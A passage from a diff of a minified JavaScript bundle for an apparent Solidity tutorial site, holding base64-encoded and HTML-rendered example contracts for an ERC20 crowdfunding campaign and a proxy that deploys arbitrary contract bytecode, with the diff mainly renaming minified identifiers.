gICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],Zj=`

Crowd fund ERC20 token

+`,uj=({prev:s,next:a})=>r.jsx(A,{version:Ij,title:dj,description:Cj,html:Aj,prev:s,next:a,codes:jj}),yj="0.8.24",mj="Crowd Fund",bj="An example of crowd funding contract",wj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICAgICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],kj=`

Crowd fund ERC20 token

  1. User creates a campaign.
  2. Users can pledge, transferring their token to a campaign.
    3. @@ -1081,7 +1081,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit Refund(_id, msg.sender, bal); } } -`,Wj=({prev:s,next:a})=>r.jsx(A,{version:mj,title:bj,description:wj,html:Zj,prev:s,next:a,codes:kj}),Bj="0.8.24",Gj="Deploy Any Contract",Vj="Deploy Any Contract",fj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],Yj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    +`,Zj=({prev:s,next:a})=>r.jsx(A,{version:yj,title:mj,description:bj,html:kj,prev:s,next:a,codes:wj}),Wj="0.8.24",Bj="Deploy Any Contract",Gj="Deploy Any Contract",Vj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],fj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -1155,7 +1155,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return abi.encodeWithSignature("setOwner(address)", _owner);
     }
 }
-
    `,Xj=({prev:s,next:a})=>r.jsx(A,{version:Bj,title:Gj,description:Vj,html:Yj,prev:s,next:a,codes:fj}),Rj="0.8.24",vj="Dutch Auction",Nj="An example of Dutch auction in 